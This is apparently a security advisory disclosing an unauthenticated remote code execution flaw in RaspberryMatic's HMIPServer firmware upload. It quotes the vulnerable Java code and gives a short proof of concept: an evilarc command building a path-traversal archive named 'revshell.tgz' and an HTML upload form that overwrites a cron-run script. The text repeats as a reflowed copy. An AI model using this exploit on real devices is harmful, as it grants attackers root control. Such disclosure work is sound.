Summary
RaspberryMatic / OCCU contains a unauthenticated remote code execution (RCE) vulnerability, caused by multiple issues within the Java based HMIPServer.jar
component.
Details
RaspberryMatric includes a Java based HMIPServer
, that can be accessed through URLs starting with /pages/jpages
. The FirmwareController
class does however not perform any session id checks, thus this feature can be accessed without a valid session.
Code from de.eq3.ccu.server.internal.FirmwareUploadRouteHandler
, note that the sid
value is read, but not used. In particular, note that the SessionVerifier.isSessionAlive
method is not called:
public void handle(RoutingContext event) {
String msgCommandFinishedWithErrors = "Handling of command finished with error.";
HttpServerRequest request = event.request();
if (logger.isDebugEnabled())
logger.debug("Request: " + request.uri());
String sid = request.params().get("sid");
request.setExpectMultipart(true);
request.uploadHandler(upload -> {
String tempFile = DeviceFirmwareController.getTempFirmwarePath(upload.filename());
upload.exceptionHandler(());
boolean isValidFilename = DeviceFirmwareController.isValidFilename(upload.filename());
if (isValidFilename) {
upload.streamToFileSystem(tempFile, ());
} else {
request.response().putHeader("Content-Type", "text/html");
request.response().end("${addDevFirmwareInvalid}");
request.response().close();
logger.warn(msgCommandFinishedWithErrors);
}
});
The controller can be reached through the URL /pages/jpages/system/DeviceFirmware/addFirmware
as long as a valid multipart/form-data
body is sent.
This allows an unauthenticated attacker to upload a malicious .tgz
archive to the server, which will be automatically extracted without any further checks. Thus, the code within the DeviceFirmwareController
controller contains multiple vulnerabilities, such as:
The code from the addFirmware
method. At the end of the snippet, the extractFileFromArchive2Tmp
method is called:
public String addFirmware(String sid, String firmwareFilePath) {
String errorAddNewFile = "${addDevFirmwareInvalid}";
File firmwareFile = new File(firmwareFilePath);
try(GZIPInputStream gzipInputStream = new GZIPInputStream(new FileInputStream(firmwareFile));
TarInputStream is = new TarInputStream(gzipInputStream)) {
TarEntry entryx = null;
while ((entryx = is.getNextEntry()) != null) {
if (entryx.isDirectory())
continue;
extractFileFromArchive2Tmp(is, entryx);
}
See the code from the extractFileFromArchve2Tmp
method. Note, that it uses the unsanitized entry.getName()
to generate the FileOutputStream and writes out the file. As this entry can contain ../
sequences, it is possible to break out of the predefined temp directory and write files to other locations outside this path. This vulnerability is commonly known as the Zip Slip vulnerability.
private static void extractFileFromArchive2Tmp(TarInputStream is, TarEntry entry) throws IOException {
boolean success = false;
File tmpFirmware = new File(TMP_DIR);
success = tmpFirmware.setWritable(true, false);
if (!tmpFirmware.exists()) {
success = tmpFirmware.mkdir();
} else {
success = true;
}
if (success) {
byte[] data = new byte[2048];
try(FileOutputStream entryStream = new FileOutputStream(TMP_DIR + FILE_SEP + entry.getName());
BufferedOutputStream dest = new BufferedOutputStream(entryStream)) {
int count;
while ((count = is.read(data)) != -1)
dest.write(data, 0, count);
dest.flush();
File folder = new File(TMP_DIR);
File[] listOfFiles = folder.listFiles();
for (File file : listOfFiles) {
if (file.isFile())
file.setReadable(true, false);
}
}
} else {
log.error("Not able to create " + TMP_DIR);
}
}
This can be used to overwrite arbitrary files on the main filesystem. For example, it is possible to overwrite the watchdog
script in /usr/local/addons/mediola/bin/
, which will be executed every five minutes through a cron job. Thus, this leads to arbitrary code execution.
PoC
Create a .tgz archive with a custom watchdog
script, using the tool evilarc.
python3 evilarc.py -f revshell.tgz -d 10 -p /usr/local/addons/mediola/bin -o unix watchdog
Upload the .tgz archive using the following HTML form adjusting the IP, thought:
<html>
<head></head>
<body>
<form id='uploadForm' action='https://192.168.44.155/pages/jpages/system/DeviceFirmware/addFirmware' method='post' enctype='multipart/form-data'>
Firmware: <input type='file' name='file' />
<br/><br/><input id='btnSubmit' type='submit' value='upload' />
</form>
</body>
</html>
The service will respond with a ${addDevFirmwareInvalid}
which however is fine.
Inspect the watchdog script on the RaspberryMatic instance.
Impact
Attackers can gain remote code execution as root user, allowing a full system compromise.
Summary
RaspberryMatic / OCCU contains a unauthenticated remote code execution (RCE) vulnerability, caused by multiple issues within the Java based
HMIPServer.jar
component.Details
RaspberryMatric includes a Java based
HMIPServer
, that can be accessed through URLs starting with/pages/jpages
. TheFirmwareController
class does however not perform any session id checks, thus this feature can be accessed without a valid session.Code from
de.eq3.ccu.server.internal.FirmwareUploadRouteHandler
, note that thesid
value is read, but not used. In particular, note that theSessionVerifier.isSessionAlive
method is not called:The controller can be reached through the URL
/pages/jpages/system/DeviceFirmware/addFirmware
as long as a validmultipart/form-data
body is sent.This allows an unauthenticated attacker to upload a malicious
.tgz
archive to the server, which will be automatically extracted without any further checks. Thus, the code within theDeviceFirmwareController
controller contains multiple vulnerabilities, such as:The code from the
addFirmware
method. At the end of the snippet, theextractFileFromArchive2Tmp
method is called:See the code from the
extractFileFromArchve2Tmp
method. Note, that it uses the unsanitizedentry.getName()
to generate the FileOutputStream and writes out the file. As this entry can contain../
sequences, it is possible to break out of the predefined temp directory and write files to other locations outside this path. This vulnerability is commonly known as the Zip Slip vulnerability.This can be used to overwrite arbitrary files on the main filesystem. For example, it is possible to overwrite the
watchdog
script in/usr/local/addons/mediola/bin/
, which will be executed every five minutes through a cron job. Thus, this leads to arbitrary code execution.PoC
Create a .tgz archive with a custom
watchdog
script, using the tool evilarc.Upload the .tgz archive using the following HTML form adjusting the IP, thought:
The service will respond with a
${addDevFirmwareInvalid}
which however is fine.Inspect the watchdog script on the RaspberryMatic instance.
Impact
Attackers can gain remote code execution as root user, allowing a full system compromise.